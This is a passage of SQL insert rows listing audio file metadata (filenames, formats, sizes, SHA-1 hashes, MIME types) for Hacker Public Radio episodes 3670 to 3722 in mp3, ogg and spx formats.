(3670,'hpr3670.ogg','ogg',12312567,'f777393e0465f5f36d3daae65e123415acd6e140','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3670,'hpr3670.spx','spx',4039818,'97cedb567807dfe7e950f0f898a8ae4006951425','application/ogg; charset=binary','Ogg data, Speex audio'),
(3671,'hpr3671.mp3','mp3',6050867,'287ed75f2631b72de6c268e65e525e45247b139b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3671,'hpr3671.ogg','ogg',8377565,'bc19bc23ac41deaf64be30a1199c33363d2b1b8e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3671,'hpr3671.spx','spx',2856416,'72715e5ee24f64450ef2c58ff4415a3576cce007','application/ogg; charset=binary','Ogg data, Speex audio'),
(3672,'hpr3672.mp3','mp3',96122621,'05668ee5b349eb6737f4871bc21c60b79bf1870a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3672,'hpr3672.ogg','ogg',126765616,'6c4641e7ec07dcc6dd69a99cb279b01a5647a0cd','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3672,'hpr3672.spx','spx',45381530,'737b7121bc11114efbdc607341653388ccd7fde2','application/ogg; charset=binary','Ogg data, Speex audio'),
(3673,'hpr3673.mp3','mp3',9181342,'a1662b870672c32859a60dd70b4b9a4de5e07033','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3673,'hpr3673.ogg','ogg',13082541,'3105ebe49dfac4a95789a9b0911498cf20d1d39a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3673,'hpr3673.spx','spx',4334338,'b9dc8ec098163d29e94e8cca10a9ef6dd4df2bb3','application/ogg; charset=binary','Ogg data, Speex audio'),
(3674,'hpr3674.mp3','mp3',10581454,'88739794b814ffc4f3359558924663ef6415b0b5','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3674,'hpr3674.ogg','ogg',14380449,'6f332e39d26bdb01e234b04270a561ad127f9a24','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3674,'hpr3674.spx','spx',4995361,'4581fd182278981060e9f1a8a82953c153ec1c3e','application/ogg; charset=binary','Ogg data, Speex audio'),
(3675,'hpr3675.mp3','mp3',38821547,'ccf24bf3add5987eb66bab92e3f32ea522489af1','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3675,'hpr3675.ogg','ogg',56868084,'9bc67756b19a00e464b5ce149216d024d22085fa','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3675,'hpr3675.spx','spx',18328286,'f179275fead4a467de9889a54d88c15236c7dccf','application/ogg; charset=binary','Ogg data, Speex audio'),
(3676,'hpr3676.mp3','mp3',77305680,'7fb81134e1edf1a664a345ea1533fc3b308cc260','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3676,'hpr3676.ogg','ogg',104321393,'66593e9c423618fe7a16324120a75b49ab8f5a4c','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3676,'hpr3676.spx','spx',36497493,'ed3fc811b51577a6c48e7e3bf19dd78ceff76d9d','application/ogg; charset=binary','Ogg data, Speex audio'),
(3677,'hpr3677.mp3','mp3',93877373,'0c9235503c0ec8877d8b54649cf9ad25f999d316','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3677,'hpr3677.ogg','ogg',124195813,'653023e40b6648815968cd9c117fbf018a517b13','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3677,'hpr3677.spx','spx',44321393,'099ab0445596481da196794eba3ca40459ce613e','application/ogg; charset=binary','Ogg data, Speex audio'),
(3678,'hpr3678.mp3','mp3',7905972,'8c5867cf14ed160b76ad22b26c1af09c95e578cb','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3678,'hpr3678.ogg','ogg',10265500,'466a769f7c71370b65f0eb8f3f2aa45bd1e75027','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3678,'hpr3678.spx','spx',3732204,'55178c97783d17ee6530304db029dfc6533d70d8','application/ogg; charset=binary','Ogg data, Speex audio'),
(3679,'hpr3679.mp3','mp3',18069800,'c77d945cac5d1580e860952cfb23a958334d4891','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3679,'hpr3679.ogg','ogg',24519304,'b37e7c183744577a7e06e60ab57e7bc2d776f65d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3679,'hpr3679.spx','spx',8530844,'93af3916d8e978a634d87a770285de21173855b2','application/ogg; charset=binary','Ogg data, Speex audio'),
(3680,'hpr3680.mp3','mp3',6562596,'8252779ad931edad01dd760a6d804cfba3d70480','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3680,'hpr3680.ogg','ogg',9547809,'efba98ac6bbbb58559adcdaf86c40f3d3535ad16','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3680,'hpr3680.spx','spx',3098026,'563f743d97bc574b508e84287144ddec6c42a3a3','application/ogg; charset=binary','Ogg data, Speex audio'),
(3681,'hpr3681.mp3','mp3',20494808,'2c0010806255484a43b565b513c9a1bc28bfc90c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3681,'hpr3681.ogg','ogg',28250109,'902e6bdfa52d74a38a0ed4551b7adbaecf95c978','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3681,'hpr3681.spx','spx',9675674,'8ad49be483aa0d7d5ebbd7d053823a37ff51d321','application/ogg; charset=binary','Ogg data, Speex audio'),
(3682,'hpr3682.mp3','mp3',89934269,'74ac6eb858508aa7fcd11d0a74c9d355dffc514a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3682,'hpr3682.ogg','ogg',117483969,'24c3e0ba48151894331c276043ce85b9ef1266da','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3682,'hpr3682.spx','spx',42459782,'184170d409b481d92b4a737827b5770fc7f7a1b2','application/ogg; charset=binary','Ogg data, Speex audio'),
(3683,'hpr3683.mp3','mp3',1427626,'66ffe57b3ef5b6328356ec0e36f3151591b9b46c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3683,'hpr3683.ogg','ogg',2007653,'ac238e39594cf04bbb89e03f8311ef0def701e0d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3683,'hpr3683.spx','spx',673612,'3f856b5f9381227e5b00570ebf089d9dfa522a53','application/ogg; charset=binary','Ogg data, Speex audio'),
(3684,'hpr3684.mp3','mp3',5464384,'417dbb100d5a2c453e512c41d7791e79ef3f28ea','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3684,'hpr3684.ogg','ogg',6898958,'6f7dce3123270bf93245609d070bedbb4dd75233','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3684,'hpr3684.spx','spx',2579428,'62fb3fb1766c6b2e87b340e6aad4fd423f598d32','application/ogg; charset=binary','Ogg data, Speex audio'),
(3685,'hpr3685.mp3','mp3',1623435,'0906b42aad1e5ac9ae6e2e13f84c47db096396fe','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3685,'hpr3685.ogg','ogg',2330863,'c10149a0a487e4a8f4457b3efbea68500ad2ad10','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3685,'hpr3685.spx','spx',766104,'515ab9a4923fdd9c26f01b9dd37052056981deec','application/ogg; charset=binary','Ogg data, Speex audio'),
(3686,'hpr3686.mp3','mp3',19348022,'d6652034aa7f7dfdf94e06cdddd9eeb1262e3a63','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3686,'hpr3686.ogg','ogg',29043980,'7d73a3634c559d9a78c26656327c93be255f5ac5','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3686,'hpr3686.spx','spx',9134393,'04a64491219363ef7a11de71864bdc9fa418e79a','application/ogg; charset=binary','Ogg data, Speex audio'),
(3687,'hpr3687.mp3','mp3',89749181,'6e036ec336f0e4aff7a59bbf28ed4118cc991114','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3687,'hpr3687.ogg','ogg',126656899,'0f37293fa4e5d54a3e1eb8c6b9cc41525bf74059','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3687,'hpr3687.spx','spx',42372461,'90d3d6039bd10872810c33fa17199032bee3643f','application/ogg; charset=binary','Ogg data, Speex audio'),
(3688,'hpr3688.mp3','mp3',15209649,'fe1426fa6d9bae2a3989c055cc5fb66139b05525','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3688,'hpr3688.ogg','ogg',20791239,'d1038218818399712ada307b722cbd8faea41d58','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3688,'hpr3688.spx','spx',7180452,'4f360ede9c3b1ad888c237c63c06d6239f8298ad','application/ogg; charset=binary','Ogg data, Speex audio'),
(3689,'hpr3689.mp3','mp3',33217624,'553713950c54f01a8601a50ea22bc62e7a586726','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3689,'hpr3689.ogg','ogg',45634283,'569bb6fed7bb9c428fa13304c129ba16e545de2f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3689,'hpr3689.spx','spx',15682390,'8f617a598d54d2bd9e143413018e4f96d6b6e8d0','application/ogg; charset=binary','Ogg data, Speex audio'),
(3690,'hpr3690.mp3','mp3',7183925,'40234b19d99c7888814621934894e7a21949ca09','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3690,'hpr3690.ogg','ogg',10480648,'b689fb0aec1a645efdee268f7af66072c483206c','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3690,'hpr3690.spx','spx',3391347,'ed5a1583da7c3f02027f34d9b875a0ea2b10cbab','application/ogg; charset=binary','Ogg data, Speex audio'),
(3691,'hpr3691.mp3','mp3',12879819,'1546230b2b20c5cbcb7cd2450ecc9417c0f65f23','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3691,'hpr3691.ogg','ogg',19088068,'2e3a370e4feb58ce757e76ace4753ca4f356fddc','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3691,'hpr3691.spx','spx',6080418,'2be64e8b55ecdd847e79c24890158d12133a2c2a','application/ogg; charset=binary','Ogg data, Speex audio'),
(3692,'hpr3692.mp3','mp3',15367606,'ae0182191c4dbf04c74b852aaa43c27a53227033','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3692,'hpr3692.ogg','ogg',21847885,'15662c9c28a3a5edbb127c06796bf5190d712f2d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3692,'hpr3692.spx','spx',7255033,'5eef257c466ba648162181895d602b88e0ffef83','application/ogg; charset=binary','Ogg data, Speex audio'),
(3693,'hpr3693.mp3','mp3',2839058,'647361afcdd8afda12d382c5306539126832f35e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3693,'hpr3693.ogg','ogg',4022479,'a70e309406d47e732ac71df1e92cbf6524236326','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3693,'hpr3693.spx','spx',1340054,'2d74eb647a335837af2d56366268282fc991ea7f','application/ogg; charset=binary','Ogg data, Speex audio'),
(3694,'hpr3694.mp3','mp3',5575238,'3a5cb113a3a91b924c53c34c3ad8c88041c23cc3','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3694,'hpr3694.ogg','ogg',7264500,'d1ba225b05253bd2667619be0ab99ca5409be81a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3694,'hpr3694.spx','spx',2631851,'8784c2f419604d5128f24113a83b8e2ae3af2290','application/ogg; charset=binary','Ogg data, Speex audio'),
(3695,'hpr3695.mp3','mp3',5956547,'90aaf198d431d1faaccd1b9dc814ab513934e7ad','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3695,'hpr3695.ogg','ogg',8959306,'a8d32aace42b57f5eab8d926f8dca919e437b993','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3695,'hpr3695.spx','spx',2811794,'140561e6e6f692509c7a5e6e71a5b65065eb94f6','application/ogg; charset=binary','Ogg data, Speex audio'),
(3696,'hpr3696.mp3','mp3',26916822,'fb016a02d659cc88622fa143eff9feddddbc2376','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3696,'hpr3696.ogg','ogg',36955294,'32d04e15234d09cc5e455f3fca35aa3d17b43916','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3696,'hpr3696.spx','spx',12707703,'7346e1201a2f1663699a13cf43b4e7b411802c18','application/ogg; charset=binary','Ogg data, Speex audio'),
(3697,'hpr3697.mp3','mp3',35028674,'4685e69340941220cc0b5e40e8f87f0f2a7da556','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3697,'hpr3697.ogg','ogg',38976565,'5c2347412934ecc0de3e908e6e88b00c8d7d4f22','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3697,'hpr3697.spx','spx',16537550,'c25361a0dbbe81c00651aff4bd489e326d2fe29f','application/ogg; charset=binary','Ogg data, Speex audio'),
(3698,'hpr3698.mp3','mp3',8239166,'33bf891ea4b0c0e7fa621dab1de365f4af69e312','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3698,'hpr3698.ogg','ogg',12198991,'e156407db55f12af09639ba1d1b6f80e3229ecb4','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3698,'hpr3698.spx','spx',3889520,'e50aeb3b16a8aad0bdac6b6edf23b38bee6a8b25','application/ogg; charset=binary','Ogg data, Speex audio'),
(3699,'hpr3699.mp3','mp3',21067353,'021906ab983ceb8f494320f3b57db2612b3a9ea3','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3699,'hpr3699.ogg','ogg',29672906,'913aa60c96a96cdd1360ed9f20b37cc72978941e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3699,'hpr3699.spx','spx',9946044,'bd6833d5504243c0c86a0386180f86b5390a4a03','application/ogg; charset=binary','Ogg data, Speex audio'),
(3700,'hpr3700.mp3','mp3',7706386,'2b49b34391f5f894493b19fcca80a1b740e1e72b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3700,'hpr3700.ogg','ogg',11167090,'f51d66fbe42b726ae08fbefe2472c1087162dca9','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3700,'hpr3700.spx','spx',3638108,'37dde5314ed1aeda0c925975aa67c3792305dd8f','application/ogg; charset=binary','Ogg data, Speex audio'),
(3701,'hpr3701.mp3','mp3',9376099,'b91dca750b1c7f65b256ba648f1c007228389387','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3701,'hpr3701.ogg','ogg',13362362,'513ae1819c331f52930fea8ad7642dfeba2d1ade','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3701,'hpr3701.spx','spx',4426330,'5756a41d077e20facd0539820bda298cd83fab6c','application/ogg; charset=binary','Ogg data, Speex audio'),
(3702,'hpr3702.mp3','mp3',30422307,'c2a5cfb1ab152fb57e3f5fc370301e713230b28f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3702,'hpr3702.ogg','ogg',41768152,'861dd278e5ea00c8404848bdfcd98b71fd569c8b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3702,'hpr3702.spx','spx',14362728,'a7782234d3c29a662b1b294df6d862f80e8f8539','application/ogg; charset=binary','Ogg data, Speex audio'),
(3703,'hpr3703.mp3','mp3',6789585,'68e7f76be46d7d10a2e108b472a2cacd80009638','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3703,'hpr3703.ogg','ogg',9499850,'1ab4d5987ffd9f6015630bdb5e2c19e0c7d89b5b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3703,'hpr3703.spx','spx',3205152,'a8b3e9681c9fbb59f6f338041103f9246e7da8d1','application/ogg; charset=binary','Ogg data, Speex audio'),
(3704,'hpr3704.mp3','mp3',1483524,'143cdb67499c9dc60da4ca623c0f66bccbe668ca','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3704,'hpr3704.ogg','ogg',1845058,'e221ff0ac66d1b83dc9c1d1e553dfc0a36ec6067','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3704,'hpr3704.spx','spx',700002,'9f01339c2706166423b2099b14bb47db02a248d6','application/ogg; charset=binary','Ogg data, Speex audio'),
(3705,'hpr3705.mp3','mp3',33890451,'6c694ab8d88fe767e0afda583a81a775c9fccc43','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3705,'hpr3705.ogg','ogg',48387024,'09bfd3bb2e42b40f9d5ae2c402653056d8aa1da0','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3705,'hpr3705.spx','spx',16000119,'9b66028a77a6c337b5ea85f8034b1076a120850e','application/ogg; charset=binary','Ogg data, Speex audio'),
(3706,'hpr3706.mp3','mp3',25082219,'906a1ae0ac1afa96faee938cc8ae42568499e063','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3706,'hpr3706.ogg','ogg',27674073,'ceb0628a3905b755369e048b68b4afd75a867a66','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3706,'hpr3706.spx','spx',11841527,'62343f4272c92a353d5f5512fac22b5eacb1425e','application/ogg; charset=binary','Ogg data, Speex audio'),
(3707,'hpr3707.mp3','mp3',8698696,'dc7a20e209ef8f85c54a940862877c5db2a87f25','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3707,'hpr3707.ogg','ogg',12608694,'fe2907b06e95bb652a29df9f8c9e951e954d3173','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3707,'hpr3707.spx','spx',4106485,'78e7284633f3d61d9d0b0d3570f329880fa6b3a0','application/ogg; charset=binary','Ogg data, Speex audio'),
(3708,'hpr3708.mp3','mp3',4378464,'b8395e721b247724a42cc0c8c65e0414c00c80ae','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3708,'hpr3708.ogg','ogg',6037028,'9e79f5634244d9ccc2bc7313d0c48c4647d59cc9','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3708,'hpr3708.spx','spx',2066790,'ab144a291ba4d6f115d506e549fc0e0d1e9ec9c1','application/ogg; charset=binary','Ogg data, Speex audio'),
(3709,'hpr3709.mp3','mp3',5195693,'606b888180568e6b867051a6baffde99ced8a22f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3709,'hpr3709.ogg','ogg',6968697,'f3ea952e943ca30094756f855336ac2e2cf0a761','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3709,'hpr3709.spx','spx',2452646,'38823ccd8cad59c9400dbc43a46f8be12a274c5f','application/ogg; charset=binary','Ogg data, Speex audio'),
(3710,'hpr3710.mp3','mp3',10747449,'6cff8c151c8a7fcf3a94abecd9ca54ed109d2f92','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3710,'hpr3710.ogg','ogg',15657214,'9703e4c51b12f6f180f649c4cf0e4a4850729f84','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3710,'hpr3710.spx','spx',5073868,'f95c7b3b82a17fa0b8e56fb85eb4574dc4e4454f','application/ogg; charset=binary','Ogg data, Speex audio'),
(3711,'hpr3711.mp3','mp3',16987262,'f24b6fbacc31f0351c3f6abc14a5379e0ef65795','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3711,'hpr3711.ogg','ogg',26223215,'f1b2cf4569372b12e4cb7d615c826b9f20d4f55f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3711,'hpr3711.spx','spx',8019683,'ba36f8efa13e32d66ad98f98b7eb3513f0ff0d86','application/ogg; charset=binary','Ogg data, Speex audio'),
(3712,'hpr3712.mp3','mp3',46698363,'c3c0725a8c13e26b6844f1cafe81097b23240c99','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3712,'hpr3712.ogg','ogg',67110124,'b9a4abe5533a8e6454c2035ff8ec755b41788467','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3712,'hpr3712.spx','spx',22047072,'471a46ea2a1d8dc7078710aad3193efcde4915ac','application/ogg; charset=binary','Ogg data, Speex audio'),
(3713,'hpr3713.mp3','mp3',8647062,'36a1c5a076a6a85f5d8065082cc02346bcc7d899','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3713,'hpr3713.ogg','ogg',12154192,'776dac412e6265b042ae12c49fa292bdff5b1af2','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3713,'hpr3713.spx','spx',4082085,'fb04f3ed99ded8b01e5defe280349011efdfe56f','application/ogg; charset=binary','Ogg data, Speex audio'),
(3714,'hpr3714.mp3','mp3',5524895,'9b099b9045d1bb919962ba3ad52bba9b13780be6','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3714,'hpr3714.ogg','ogg',7847328,'22aa0bb5ddce5f07eb623e4ccfed24f7bee919da','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3714,'hpr3714.spx','spx',2608100,'c9c6bc17b6eddaef286a4ab6d6104f747bd89f6e','application/ogg; charset=binary','Ogg data, Speex audio'),
(3715,'hpr3715.mp3','mp3',31844844,'03a9ed1f1b023ad9a0e6f0ff99145d33a7e56176','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3715,'hpr3715.ogg','ogg',43870604,'ee1b988740419d4e7acc2252d587a78331975984','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3715,'hpr3715.spx','spx',15034368,'6a6eff9751bc81de0e2bed36ff50a4701fc3489f','application/ogg; charset=binary','Ogg data, Speex audio'),
(3716,'hpr3716.mp3','mp3',4901457,'fa2d556ae2564a07ffb65b6aee22ad81f89560a2','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3716,'hpr3716.ogg','ogg',7057015,'9a7615ef9d8f171c28896eccd5337441afd414cc','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3716,'hpr3716.spx','spx',2313630,'f13e1520a09f702cfee620be00b2d964267a706f','application/ogg; charset=binary','Ogg data, Speex audio'),
(3717,'hpr3717.mp3','mp3',6207706,'311ecf6419f84a0ef343c87cd258faae95061fba','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3717,'hpr3717.ogg','ogg',9236211,'87ee6721d1f20f0bdf0141d358bc7a2b1d087d46','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3717,'hpr3717.spx','spx',2930479,'16e1f7cb6281aa2ea7c67b06712f183e708ac1a7','application/ogg; charset=binary','Ogg data, Speex audio'),
(3718,'hpr3718.mp3','mp3',2559576,'5718c606255412dae9a5809b4ea6d929554dc376','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3718,'hpr3718.ogg','ogg',3324709,'75ebd4f0f03d8923550193f25a69b399c96825a0','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3718,'hpr3718.spx','spx',1208079,'dd5b9a1971139c2bab192a61492db41720a90794','application/ogg; charset=binary','Ogg data, Speex audio'),
(3719,'hpr3719.mp3','mp3',5403924,'797f7813e68f8569269370979b977a992b0f6be1','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3719,'hpr3719.ogg','ogg',7671921,'f7026acfd8c8397da79cf80454b48d508644b90b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3719,'hpr3719.spx','spx',2550984,'67f892ed0ec3ad57b1710648d0f9ed8bddefe0bd','application/ogg; charset=binary','Ogg data, Speex audio'),
(3720,'hpr3720.mp3','mp3',6501028,'d690bfd1c652652c7c47f6dc6673156e0bca63cf','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3720,'hpr3720.ogg','ogg',9489647,'bd282ebe1b007113667f8040b51fbe43eb6c4048','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3720,'hpr3720.spx','spx',3068999,'755d6ba367bb62f0fce5231e9557f4f13ff7f63e','application/ogg; charset=binary','Ogg data, Speex audio'),
(3721,'hpr3721.mp3','mp3',26652818,'99e7cfcba85ef7c5e570dfee1694c8d5591a42bf','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3721,'hpr3721.ogg','ogg',36020126,'e1bb27bbd0f5c4043cc77cf7603f46bc58e666c7','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3721,'hpr3721.spx','spx',12583058,'c4879e0315dbbc42e4a01325c0e62ae1bf191796','application/ogg; charset=binary','Ogg data, Speex audio'),
(3722,'hpr3722.mp3','mp3',4753659,'c15725e3b7e864ea6bedb91b77dd4117d36516e5','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3722,'hpr3722.ogg','ogg',6744188,'19570c0ba60081148540734455189a21794c6b2a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
